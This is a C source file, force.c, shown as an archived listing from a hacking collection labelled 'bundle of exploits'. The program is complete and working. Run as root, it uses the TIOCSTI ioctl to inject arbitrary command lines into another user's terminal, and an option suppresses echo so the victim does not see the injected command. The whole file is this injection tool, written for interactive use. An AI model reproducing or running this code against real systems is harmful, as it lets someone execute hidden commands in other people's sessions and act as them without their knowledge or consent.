home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / force.c < prev    next >
C/C++ Source or Header  |  1997-03-27  |  5KB  |  213 lines

  1. /*
  2.  * force.c - v1.3 - by Brendan Kehoe (brendan@cs.widener.edu)
  3.  *
  4.  *  v1.0 - 10/15/90 - force execution of a command on the user's command line 
  5.  *  v1.1 - 11/19/90 - allow a pseudo-interactive session, of sorts
  6.  *  v1.2 - 11/20/90 - made the thing error check itself into oblivion
  7.  *  v1.3 -  7/16/91 - Ported to SGI by Dan Watts
  8.  *
  9.  * Usage: force [ -n ] [ -l /dev/ttyxx ]
  10.  *       -n              - use this if you don't want the command to echo
  11.  *       -l /dev/ttyxx   - the line to hit; use the full name (e.g. /dev/ttyp0)
  12.  *
  13.  *  Compiles under SGI Irix, SunOS 4.1, Ultrix 3.1D, and Ultrix 4.1. No
  14.  *   promises are made for other OS's or systems.
  15.  *
  16.  *  It won't work under System V Release anything until an alternative
  17.  *  to the TIOCSTI ioctl comes around. (Or you use SVR4, I'm told.)
  18.  *
  19.  * (Yes, this requires you be root to use it.)
  20.  *
  21.  * To use it, just type whatever at the Force> prompt, and when you
  22.  * hit return, that line will get sent onto the user's input queue,
  23.  * so it's like they typed it.  Use Control-V to quote control characters
  24.  * like Control-C.  Type -X- on an empty line to quit out.
  25.  *
  26.  * You're welcome to do whatever you want with this, as long as you note
  27.  * its origin somewhere. (Namely "This Was Written By Brendan Kehoe", for
  28.  * starters.) (A 19-page writeup would be cool, too, but maybe it's too much.)
  29.  */
  30.  
  31. #include <stdio.h>
  32. #include <sys/types.h>          /* for stat(2) */
  33. #include <sys/stat.h>           /* for stat(2) */
  34. #include <fcntl.h>
  35. #ifdef sgi
  36. # include <sys/termio.h>
  37. # define termios        termio
  38. # define TCGETS         TCGETA
  39. # define TCSETS         TCSETA
  40. #else
  41. #include <sys/termios.h>
  42. #endif
  43.  
  44. #ifdef ultrix
  45. # include <sys/ioctl.h>
  46. # define        TCGETS  TCGETP
  47. # define        TCSETS  TCSANOW
  48. #endif /* ultrix */
  49.  
  50. void push(), devchk();
  51.  
  52. extern char     *optarg;
  53. extern int      optind;
  54. short no_echo = 0;
  55.  
  56. #define USAGE       "usage: %s [-n] [-l /dev/ttyxx]\n",*argv
  57. #define COMMAND_LIM 100
  58.  
  59. int
  60. main(argc, argv)
  61.      int argc;
  62.      char **argv;
  63. {
  64.   int f, cnt;
  65.   short true = 1, no_cmd = 0;
  66.   char *device, *buf, *trail, chr;
  67.   
  68.   if (argc > 4) {
  69.     fprintf(stderr, USAGE);
  70.     exit(1);
  71.   }
  72.  
  73.   if ((device = (char *)malloc(40)) == (char *)NULL) {
  74.     perror("malloc 1");
  75.     exit(1);
  76.   }
  77.   
  78.   if ((buf = (char *) malloc(COMMAND_LIM)) == (char *)NULL) {
  79.     perror("malloc 1a");
  80.     exit(1);
  81.   }
  82.   
  83.   while ((chr = getopt(argc, argv, "nl:")) != -1)
  84.     switch (chr) {
  85.     case 'n':
  86.       no_echo = 1;
  87.       break;
  88.     case 'l':
  89.       (void) devchk(optarg, *argv);
  90.       device = optarg;
  91.       break;
  92.     default:
  93.       fprintf(stderr, USAGE);
  94.       exit(1);
  95.     }
  96.  
  97.   if (strlen(device) < 2) {
  98.     printf("Device [form: /dev/ttyxx]: ");
  99.     fflush(stdout);
  100.     fgets(device, 39, stdin);
  101.     /* cut off the trailing return that fgets leaves on */
  102.     if ((*device) && (*(trail=(char *)(device + strlen(device) - 1)) == '\n'))
  103.       *trail = '\0';
  104.     if (strlen(device) > 7)
  105.       (void) devchk(device, *argv);
  106.     else {
  107.       fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", *argv);
  108.       exit(1);
  109.     }
  110.   }
  111.  
  112.   printf("Terminate with '-X-' on a line by itself.\n");
  113.   while (true) {
  114.     no_cmd = cnt = 0;
  115.     chr = *buf = '\0';
  116.     printf("Force> ");
  117.     rewind(stdin);
  118.     while (((chr=getchar()) != '\n') && (chr != EOF) && (cnt < COMMAND_LIM))
  119.       *(buf + cnt++) = chr;
  120.     if (cnt == COMMAND_LIM) {
  121.       printf("Limit of %d characters per command line.\n", COMMAND_LIM);
  122.       no_cmd = 1;
  123.     }
  124.     if (chr == EOF) {
  125.       putc('\n', stdout);
  126.       exit(0);
  127.     }
  128.     if (!no_cmd) {
  129.       *(buf + cnt) = '\0';
  130.       if (!strcmp(buf, "-X-"))
  131.         true = 0;
  132.       else if ((*buf != '\n') && (*buf != '\0')) {
  133.         if ((f = open(device, O_NDELAY | O_RDWR)) < 0) {
  134.           perror("open");
  135.           exit(1);
  136.         }
  137.         push(f, buf);
  138.         close(f);
  139.       }
  140.     }
  141.   }
  142. }
  143.  
  144. void
  145. push(f, s)
  146.      int f;
  147.      char *s;
  148. {
  149.   register int i;
  150.   char ret='\n';
  151.   struct termios termios;
  152.  
  153.   if (no_echo) {
  154.     if (ioctl(f, TCGETS, &termios) < 0) {
  155.       perror("ioctl 1");
  156.       exit(1);
  157.     }
  158.     termios.c_lflag &= ~ECHO;
  159.     if (ioctl(f, TCSETS, &termios) < 0) {
  160.       perror("ioctl 2");
  161.       exit(1);
  162.     }
  163.   }
  164.   
  165.   if (ioctl(f, TCFLSH, 0)  < 0) {               /* flush the input queue */
  166.     perror("ioctl 3");
  167.     exit(1);
  168.   }
  169.   
  170.   for (i = 0; i < strlen(s); i++)              /* give 'em the command */
  171.     ioctl(f, TIOCSTI, s + i);
  172.   ioctl(f, TIOCSTI, &ret);                     /* including a return */
  173.   
  174.   if (no_echo) {
  175.     ioctl(f, TCGETS, &termios);
  176.     termios.c_lflag |= ECHO;
  177.     ioctl(f, TCSETS, &termios);
  178.     
  179.     ioctl(f, TCFLSH, 1);                       /* flush the output queue */
  180.   }
  181. }
  182.  
  183. void
  184. devchk(device, prg)
  185.      char *device, *prg;
  186. {
  187.   struct stat sb;
  188.  
  189.   if (strncmp(device, "/dev/tt", 7) && strncmp(device, "/dev/co", 7)) {
  190.     fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", prg);
  191.     exit(1);
  192.   }
  193.   if (!strcmp(device, ttyname(0))) {
  194.     fprintf(stderr, "%s: you can't force yourself, you masochist.\n",
  195.             prg);
  196.     exit(1);
  197.   }
  198.   if (strlen(device) > 40) {
  199.     fprintf(stderr, "%s: terminal name too long.\n", prg);
  200.     exit(1);
  201.   }
  202.  
  203.   /*
  204.    * there's probably a cleaner way to do this (not having the struct down
  205.    * here at all); I considered using alloca, then decided not to. I'm open
  206.    * to suggestions. - BK 11/20
  207.    */
  208.   if (stat(device, (struct stat *)&sb) < 0) {
  209.     perror(prg);
  210.     exit(1);
  211.   }
  212. }
  213.